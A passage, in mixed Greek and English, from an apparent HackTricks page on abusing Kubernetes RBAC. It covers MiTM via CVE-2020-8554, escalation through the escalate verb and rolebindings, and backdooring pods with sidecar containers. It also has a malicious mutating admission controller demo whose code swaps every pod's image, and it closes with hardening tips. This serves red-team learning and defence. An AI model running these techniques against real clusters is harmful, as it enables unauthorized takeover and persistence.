Οντότητες που μπορούν να τροποποιήσουν services/status μπορεί να ορίσουν το πεδίο status.loadBalancer.ingress.ip για να εκμεταλλευτούν το unfixed CVE-2020-8554 και να ξεκινήσουν επιθέσεις MiTM εναντίον του cluster. Οι περισσότερες μετριάσεις για το CVE-2020-8554 αποτρέπουν μόνο ExternalIP services (σύμφωνα με this).

Κατάσταση Nodes και Pods

Οντότητες με δικαιώματα update ή patch πάνω σε nodes/status ή pods/status, μπορούν να τροποποιήσουν labels ώστε να επηρεάσουν τους επιβαλλόμενους περιορισμούς scheduling.

Built-in Privileged Escalation Prevention

Kubernetes has a built-in mechanism to prevent privilege escalation.

This system ensures that users cannot elevate their privileges by modifying roles or role bindings. The enforcement of this rule occurs at the API level, providing a safeguard even when the RBAC authorizer is inactive.

The rule stipulates that a user can only create or update a role if they possess all the permissions the role comprises. Moreover, the scope of the user’s existing permissions must align with that of the role they are attempting to create or modify: either cluster-wide for ClusterRoles or confined to the same namespace (or cluster-wide) for Roles.

Warning

There is an exception to the previous rule. If a principal has the verb escalate over roles or clusterroles he can increase the privileges of roles and clusterroles even without having the permissions himself.

Get & Patch RoleBindings/ClusterRoleBindings

Caution

Apparently this technique worked before, but according to my tests it’s not working anymore for the same reason explained in the previous section. Yo cannot create/modify a rolebinding to give yourself or a different SA some privileges if you don’t have already.

Το προνόμιο δημιουργίας Rolebindings επιτρέπει σε έναν χρήστη να bind roles to a service account. Αυτό το προνόμιο μπορεί δυνητικά να οδηγήσει σε privilege escalation διότι επιτρέπει στον χρήστη να bind admin privileges σε ένα compromised service account.

Άλλες Επιθέσεις

Εφαρμογή sidecar proxy

Από προεπιλογή δεν υπάρχει κρυπτογράφηση στην επικοινωνία μεταξύ pods. Mutual authentication, two-way, pod to pod.

Δημιουργία sidecar proxy app

Ένα sidecar container συνίσταται απλά στο να προσθέσεις δεύτερο (ή περισσότερους) container μέσα σε ένα pod.

Για παράδειγμα, το παρακάτω είναι μέρος της διαμόρφωσης ενός pod με 2 containers:

spec:
containers:
- name: main-application
image: nginx
- name: sidecar-container
image: busybox
command: ["sh","-c","<execute something in the same pod but different container>"]

For example, to backdoor an existing pod with a new container you could just add a new container in the specification. Note that you could give more permissions to the second container that the first won’t have.

More info at: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

Κακόβουλος Admission Controller

Ένας Admission Controller intercepts requests to the Kubernetes API server πριν από την αποθήκευση του αντικειμένου, αλλά after the request is authenticated and authorized.

If an attacker somehow manages to inject a Mutation Admission Controller, he will be able to modify already authenticated requests. Αυτό μπορεί να του επιτρέψει ενδεχομένως privesc, και πιο συχνά να persist στο cluster.

Example from https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

Ελέγξτε την κατάσταση για να δείτε αν είναι έτοιμο:

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

mutating-webhook-status-check.PNG

Στη συνέχεια αναπτύξτε ένα νέο pod:

kubectl run nginx --image nginx
kubectl get po -w

Όταν βλέπετε το σφάλμα ErrImagePull, ελέγξτε το όνομα της εικόνας με ένα από τα παρακάτω ερωτήματα:

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

malicious-admission-controller.PNG

Όπως φαίνεται στην παραπάνω εικόνα, προσπαθήσαμε να τρέξουμε την εικόνα nginx αλλά η τελικά εκτελεσθείσα εικόνα είναι rewanthtammana/malicious-image. Τι μόλις συνέβη;

Τεχνικές λεπτομέρειες

Το ./deploy.sh script δημιουργεί έναν mutating webhook admission controller, ο οποίος τροποποιεί τα αιτήματα προς το Kubernetes API όπως ορίζεται στις γραμμές ρυθμίσεώς του, επηρεάζοντας τα παρατηρούμενα αποτελέσματα:

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

Το παραπάνω απόσπασμα αντικαθιστά την πρώτη εικόνα container σε κάθε pod με rewanthtammana/malicious-image.

OPA Gatekeeper bypass

Kubernetes OPA Gatekeeper bypass

Καλές Πρακτικές

Απενεργοποίηση Automount των Service Account Tokens

  • Pods and Service Accounts: Από προεπιλογή, τα pods προσαρτούν ένα service account token. Για να ενισχύσετε την ασφάλεια, το Kubernetes επιτρέπει την απενεργοποίηση αυτής της δυνατότητας automount.
  • How to Apply: Ορίστε automountServiceAccountToken: false στη διαμόρφωση των service accounts ή των pods από την έκδοση Kubernetes 1.6 και μεταγενέστερες.

Περιοριστική Ανάθεση Χρηστών σε RoleBindings/ClusterRoleBindings

  • Selective Inclusion: Βεβαιωθείτε ότι μόνο οι απαραίτητοι χρήστες συμπεριλαμβάνονται σε RoleBindings ή ClusterRoleBindings. Εκτελέστε τακτικούς ελέγχους και αφαιρέστε τους μη σχετικούς χρήστες για να διατηρείτε αυστηρή ασφάλεια.

Προτίμηση Roles ανά Namespace αντί για Cluster-Wide Roles

  • Roles vs. ClusterRoles: Προτιμήστε τη χρήση Roles και RoleBindings για δικαιώματα ανά namespace αντί για ClusterRoles και ClusterRoleBindings, τα οποία ισχύουν σε όλο το cluster. Αυτή η προσέγγιση προσφέρει πιο λεπτομερή έλεγχο και περιορίζει το εύρος των δικαιωμάτων.

Χρησιμοποιήστε αυτοματοποιημένα εργαλεία

GitHub - cyberark/KubiScan: A tool to scan Kubernetes cluster for risky permissions \xc2\xb7 GitHub

GitHub - aquasecurity/kube-hunter: Hunt for security weaknesses in Kubernetes clusters \xc2\xb7 GitHub

GitHub - aquasecurity/kube-bench: Checks whether Kubernetes is deployed according to security best practices as defined in the CIS Kubernetes Benchmark \xc2\xb7 GitHub

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks